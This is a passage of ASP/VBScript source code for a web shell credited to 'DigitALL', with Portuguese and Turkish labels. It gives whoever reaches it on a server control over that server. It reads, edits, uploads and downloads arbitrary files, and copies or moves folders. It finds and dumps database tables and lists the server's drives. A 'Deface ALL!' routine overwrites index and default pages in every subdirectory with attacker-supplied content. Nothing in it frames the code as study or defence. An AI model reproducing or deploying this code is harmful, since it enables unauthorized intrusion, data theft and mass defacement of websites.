fso.OpenTextFile(file) Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf," ")," ","&nbsp;") Set a = Nothing Set fso = Nothing Case "txtedit" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Request.Form.Count = 0 Then file = Replace(Trim(Request.QueryString("file")),"|","\") Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.OpenTextFile(file) Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">" Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea> " Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>" Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>" Set a = Nothing Set fso = Nothing Else Select Case Trim(Request.Form("savemethod")) Case "Save" Set fso = CreateObject("Scripting.FileSystemObject") novotexto = Trim(Request.Form("content")) novotexto = Split(novotexto,vbCrLf) Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i)) Next objstream.Close Set objstream = Nothing Response.Write "Texto salvo: " & Replace(Trim(Request.Form("path")),"|","\") & "" Case "Save as" Set fso = CreateObject("Scripting.FileSystemObject") novotexto = Trim(Request.Form("content")) novotexto = Split(novotexto,vbCrLf) caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" Set objstream = fso.CreateTextFile(caminho,true,false) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i)) Next objstream.Close Set objstream = Nothing Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">" Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """> " Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>" Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>" Case Else caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename")) MyFile.Move (destino) If Err.Number = 0 Then Response.Write "<center> Arquivo: " & destino & " salvo!" Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>" End If End Select End If Case "download" Response.Buffer = True Response.Clear strFileName = Replace(Trim(Request.QueryString("file")),"|","\") strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\")) strFileType = Request.QueryString("type") if strFileType = "" then strFileType = "application/download" Set fso = Server.CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(strFilename) intFilelength = f.size Set f = Nothing Set fso = Nothing Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile Response.AddHeader "Content-Length", intFilelength Response.Charset = "UTF-8" Response.ContentType = strFileType Set Stream = Server.CreateObject("ADODB.Stream") Stream.Open Stream.type = 1 Stream.LoadFromFile strFileName Response.BinaryWrite Stream.Read Response.Flush Stream.Close Set Stream = Nothing Case "upload" If Request.QueryString("processupload") <> "yes" Then Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>" Response.Write "<TABLE BORDER=0>" Response.Write "<tr><td>Select a file to upload: <INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>" Response.Write "<tr><td align=""center""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>" Response.Write "</TABLE>" Else Set Uploader = New FileUploader Uploader.Upload() If Uploader.Files.Count = 0 Then Response.Write "File(s) not uploaded." Else For Each File In Uploader.Files.Items File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\") Response.Write "File Uploaded: " & File.FileName & " " Response.Write "Size: " & File.FileSize & " bytes " Response.Write "Type: " & File.ContentType & " " Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>" Next End If End If Case "mass" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminhodomass) Set ColFolders = MonRep.SubFolders for each folderItem in ColFolders destino1 = folderItem.path & "\index.htm" destino2 = folderItem.path & "\index.html" destino3 = folderItem.path & "\index.asp" destino4 = folderItem.path & "\index.cfm" destino5 = folderItem.path & "\index.php" destino6 = folderItem.path & "\default.htm" destino7 = folderItem.path & "\default.html" destino8 = folderItem.path & "\default.asp" destino9 = folderItem.path & "\default.cfm" destino10 = folderItem.path & "\default.php" MeuArquivo.Copy(destino1) MeuArquivo.Copy(destino2) MeuArquivo.Copy(destino3) MeuArquivo.Copy(destino4) MeuArquivo.Copy(destino5) MeuArquivo.Copy(destino6) MeuArquivo.Copy(destino7) MeuArquivo.Copy(destino8) MeuArquivo.Copy(destino9) MeuArquivo.Copy(destino10) Response.Write "<table><tr><td>&lt;DIR&gt; " & folderItem.path & "</td>" If Err.Number = 0 Then Response.Write "<td valign='baseline'>&nbsp;&nbsp;DONE!</td></tr>" Else Response.Write "<td valign='baseline'>&nbsp;&nbsp;" & UCase(Err.Description) & "</td></tr></table>" End If Err.Number = 0 Response.Flush If metodo = "brute" Then Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo) End If next End Sub Sub brutemass(caminho,massaction) If massaction = "test" Then On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminho) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files for each folderItem in ColFolders Set TotalFolders = ObjFSO.GetFolder(folderItem.path) Set EachFolder = TotalFolders.SubFolders Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >" maindestino = folderItem.path & "\" MeuArquivo.Copy(maindestino) Response.Write "<tr><td>&lt;DIR&gt; " & maindestino & "</td>" If Err.Number = 0 Then Response.Write "<td valign='baseline'>&nbsp;&nbsp;Acesso Permitido</td></tr>" Else Response.Write "<td valign='baseline'>&nbsp;&nbsp;" & UCase(Err.Description) & "</td></tr>" End If Err.Number = 0 Response.Flush If EachFolder.count > 0 Then masscontador = 0 for each subpasta in EachFolder masscontador = masscontador + 1 destino = subpasta.path & "\" If masscontador = 1 Then destinofinal = destino pathfinal = subpasta.path Err.Number = 0 MeuArquivo.Copy(destinofinal) Response.Write "<tr><td>&lt;DIR&gt; " & showobj(pathfinal) & "</td>" If Err.Number = 0 Then Response.Write "<td valign='baseline'>&nbsp;&nbsp;Acesso Permitido</td></tr>" Else Response.Write "<td valign='baseline'>&nbsp;&nbsp;" & UCase(Err.Description) & "</td></tr>" End If Err.Number = 0 Response.Flush Else MeuArquivo.Copy(destino) Response.Write "<tr><td>&lt;DIR&gt; " & showobj(subpasta.path) & "</td>" If Err.Number = 0 Then Response.Write "<td valign='baseline'>&nbsp;&nbsp;Acesso Permitido</td></tr>" Else Response.Write "<td valign='baseline'>&nbsp;&nbsp;" & UCase(Err.Description) & "</td></tr>" End If Err.Number = 0 Response.Flush End If next masscontador = 0 End If Response.Write "</table> " Call brutemass(folderItem.path & "\","test") next Set MonRep = Nothing Set ColFolders = Nothing Set ColFiles0 = Nothing Else If Request.Form.Count = 0 Then Response.Write " Brute: Test and Deface root and sub directories. " Response.Write "Single: Test and deface only root directories. " Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">" Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" Response.Write "<center>Deface Code: " Response.Write "<textarea cols='65' rows='15' name=""content""></textarea> " Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;" Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single " Response.Write "<input type=""submit"" value=""Deface ALL!""></center>" Response.Write "</form>" Else Set ObjFSO = CreateObject("Scripting.FileSystemObject") patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) arquivomassdfc = patharquivotxt & "teste.txt" Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False) vetordelinhas = Split(Request.Form("content"),VbCrLf) For i = 0 To UBound(vetordelinhas) Arquivotxt.WriteLine(vetordelinhas(i)) Next Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc) If Request.Form("massopt") = "single" Then Call themassdeface(caminho,"single",ObjFSO,MeuArquivo) ElseIf Request.Form("massopt") = "brute" Then Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo) End If End If End If End Sub If Trim(Request.QueryString("massact")) = "test" Then Set ObjFSO = CreateObject("Scripting.FileSystemObject") patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) arquivo = patharquivotxt & "_vti_cnf.log" Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True) Set MeuArquivo = ObjFSO.GetFile(arquivo) Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test") ElseIf Trim(Request.QueryString("massact")) = "dfc" Then Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc") End If Case "fcopy" If Trim(Request.Form("submit1")) = "Copy" Then mptpath=Trim(Request.Form("path")) mptdest=Trim(Request.Form("cf")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") isl = "" if Trim(Request.Form("islem"))="kopyala" then objFSO.CopyFolder mptpath,mptdest isl="Copied.." elseif Trim(Request.Form("islem"))="tasi" then objFSO.MoveFolder mptpath,mptdest isl="moved.." end if response.Write "Command: "&isl response.Write " File From: " & mptpath & " Copy to: " & mptdest response.Write " " Else Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy"">" Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100>Copy Path : </td><td>" Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("path")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>" Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("path")) & "\","|","\") &"' name=cf>" response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>" Response.Write "</td></tr><tr><td colspan=3 align=center>" response.Write "<input type=radio name='islem' value='kopyala' checked>Copy" response.Write "<input type=radio name='islem' value='tasi'>Move" response.Write "</table>" response.Write "</form>" End IF Case "filecopy" If Trim(Request.Form("submit1")) = "Copy" Then mptpath=Trim(Request.Form("path")) mptdest=Trim(Request.Form("cf")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") isl = "" if Trim(Request.Form("islem"))="kopyala" then objFSO.CopyFile mptpath,mptdest isl="Copy.." elseif Trim(Request.Form("islem"))="tasi" then objFSO.MoveFile mptpath,mptdest isl="move.." end if response.Write "Command: "&isl response.Write " File From: " & mptpath & " Copy to: " & mptdest response.Write " " Else Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy"">" Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100>Copy Path : </td><td>" Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>" Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=cf>" response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>" Response.Write "</td></tr><tr><td colspan=3 align=center>" response.Write "<input type=radio name='islem' value='kopyala' checked>Copy" response.Write "<input type=radio name='islem' value='tasi'>Move" response.Write "</table>" response.Write "</form>" End IF Case "search" If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))<>"" Then showdisks=FALSE status5=Trim(Request.Form("status")) if status5="" then status5=Trim(Request.QueryString("status")) SELECT CASE status5 CASE "5" Response.Write "<center>"& Trim(Request.QueryString("path")) &"</center> " Response.Write "<table width=100% ><tr><td>" set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1) Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>" if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamyyor\nSistem dosyas?olabilir')</script>":Response.End CASE "7": Response.Write "Tables " Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("path")) objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "4 <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a> " End If Next CASE "8": table=Trim(Request.QueryString("table")) Response.Write "<h4>Table Name: " & table & "</h4> " Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("path")) objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>" for i=0 to objRcs.Fields.count-1 Response.Write "<td>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</td>" next Response.Write "</tr>" do while not objRcs.EOF Response.Write "<tr>" for i=0 to objRcs.Fields.count-1 Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>" next Response.Write "</tr>" objRcs.MoveNext loop Response.Write "</table> " case "12": araBul Trim(Request.Form("path")),Trim(Request.Form("arama")) END SELECT Else showdisks=FALSE checa = checking(cprthtml,keydec) Call hdr() Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=search"">" Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70>File Ext: </td><td>" Response.Write "&nbsp;<input type=hidden value='12' name=status>" Response.Write "<input type=hidden value=""" & Replace(Trim(Request.QueryString("path")),"|","\") & """ name=""path""><input style='width:250' value='mdb' name='arama'><input style='width:70; height:22' type=submit value='Search' name='submit1'>" Response.Write "</td></tr></table></form>" End IF Case "sqlserver" If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor Trim(Request.QueryString("status"))<>"" Then showdisks=FALSE status5=Trim(Request.Form("status")) if status5="" then status5=Trim(Request.QueryString("status")) SELECT CASE status5 CASE "7": Response.Write "Tables " Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("path")) objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "4 <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a> " End If Next CASE "8": table=Trim(Request.QueryString("table")) Response.Write "<h4>Table Name: " & table & "</h4> " Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("path")) objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>" for i=0 to objRcs.Fields.count-1 Response.Write "<td>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</td>" next Response.Write "</tr>" do while not objRcs.EOF Response.Write "<tr>" for i=0 to objRcs.Fields.count-1 Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>" next Response.Write "</tr>" objRcs.MoveNext loop Response.Write "</table> " END SELECT Else showdisks=FALSE checa = checking(cprthtml,keydec) Call hdr() Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver"">" Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td align=center>SQL Server connection string:</td></tr><tr><td align=center>" Response.Write "<input type=hidden value='7' name=status>" Response.Write "<input style='width:250; height:21' value='' name=path> " response.Write "<input type=submit value='Execute SQL Server Command' style='height:23;width:220' id=submit1 name=submit1>" Response.Write "</td></tr></table>" response.Write "</form>" End IF Case "about" showdisks=FALSE checa = checking(cprthtml,keydec) Call hdr() response.Write " <body topmargin=5 leftmargin=0><center><h4>Coded By DigitALL" response.Write " " response.Write "WebSite: :) www.digitallsecurity.org" response.Write " " response.Write "E-Mail: digitall@hackermail.com" response.Write " " response.Write "Hackers, Crackers, Programmers Forever!" Case Else checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Call showcontent() End Select If Err.Number <> 0 Then Response.Write " ERRO: " & Err.Number & " " & UCase(Err.Description) & " Acesse denied." End If Response.Write endcode if showdisks then %> <script language=javascript> // DRIVE ISLEMLERI function driveGo(drive_){ location = "?raiz="+drive_+":"; } </script> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Response.Write " <table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center>Suruculer</td></tr>" for each drive_ in objFSO.Drives Response.Write "<tr><td>" Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;"">;" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]" Response.Write "</a></td></tr>" next Response.Write "<tr><td>" Response.write "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "'>H Local Path" Response.Write "</a></td></tr>" Response.Write "</table> " end if %> <Center> ?</Center> <Center> ?</Center></div>